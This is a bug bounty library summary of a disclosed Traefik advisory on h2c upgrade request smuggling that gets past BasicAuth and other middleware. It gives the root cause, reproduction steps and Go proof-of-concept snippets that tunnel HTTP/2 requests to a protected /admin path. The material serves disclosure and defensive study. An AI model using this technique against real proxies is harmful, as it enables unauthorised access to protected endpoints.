# Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization

Traefik forwards client-supplied Upgrade: h2c to backends; a 101 response turns the connection into a raw tunnel that bypasses routers and middleware like BasicAuth.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: ihopenre-eng
- Disclosed: 2026-09-10
- CVE: CVE-2026-88008
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w4v4-9rw7-5326
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w4v4-9rw7-5326
- Tags: area:cloud domain:infra impact:integrity impact:internal-access kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:request-smuggling

**Target:** HTTP reverse proxy (pkg/proxy/httputil, forwardedheaders middleware)
**Root cause:** Traefik forwards arbitrary client-initiated Connection: Upgrade / Upgrade tokens (including h2c) to the backend without an allowlist; on 101 Switching Protocols the reverse proxy enters raw tunnel mode and stops applying routing and middleware.
**Steps:**
1. Configure two routers on the same backend: `/public` with no auth and `/admin` with BasicAuth.
2. Send `GET /public HTTP/1.1` with `Connection: Upgrade, HTTP2-Settings`, `Upgrade: h2c`, `HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA`.
3. Backend replies `HTTP/1.1 101 Switching Protocols`; Traefik switches to raw byte tunnel.
4. Reuse the raw connection as an HTTP/2 client conn and send `GET http://x/admin`.
5. Observe direct `/admin` returns 401 while tunneled `/admin` returns 200 with admin data.
**How found:** Code review of the proxy path: noticed removeConnectionHeaders preserves Upgrade when Connection: Upgrade is present with no token validation, isWebSocketUpgrade is not an allowlist, and smart_roundtripper sends Connection: Upgrade requests over HTTP/1; hypothesized that a 101 would drop Traefik out of the HTTP routing layer.
**Exploitation:** Attacker reaches an unauthenticated router pointing at the same backend as a protected router, requests an h2c upgrade, and after 101 sends HTTP/2 requests for protected paths directly to the backend, bypassing BasicAuth/ForwardAuth/IPAllowList/RateLimit and access logging.
**Escalation:** Tunneled requests bypass all per-request middleware and observability, allowing access to internal/admin endpoints on the shared backend.
**Insight:** When auditing reverse proxies, check whether client-controlled Upgrade tokens are allowlisted and whether a backend 101 transitions the proxy into tunnel mode that skips routing/middleware; any unprotected router sharing a backend with a protected one becomes a pivot.

## Proof of concept (copied exactly from the original report)

**Raw h2c upgrade request through /public**

```
raw.Write([]byte(
        "GET /public HTTP/1.1\r\n" +
            "Host: x\r\n" +
            "Connection: Upgrade, HTTP2-Settings\r\n" +
            "Upgrade: h2c\r\n" +
            "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
            "\r\n",
    ))
```

**HTTP/2 GET /admin over the tunnel**

```
cc, _ := (&http2.Transport{}).NewClientConn(raw)

    req, _ := http.NewRequest("GET", "http://x/admin", nil)

    r2, _ := cc.RoundTrip(req)
    b2, _ := io.ReadAll(r2.Body)
    r2.Body.Close()

    fmt.Printf(
        "[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
```

**Backend h2c upgrade handler returning 101**

```
if strings.Contains(sb.String(), "Upgrade: h2c") {
                conn.Write([]byte(
                    "HTTP/1.1 101 Switching Protocols\r\n" +
                        "Connection: Upgrade\r\n" +
                        "Upgrade: h2c\r\n\r\n",
                ))

                h2s.ServeConn(conn, &http2.ServeConnOpts{
                    Handler: mux,
                })
```

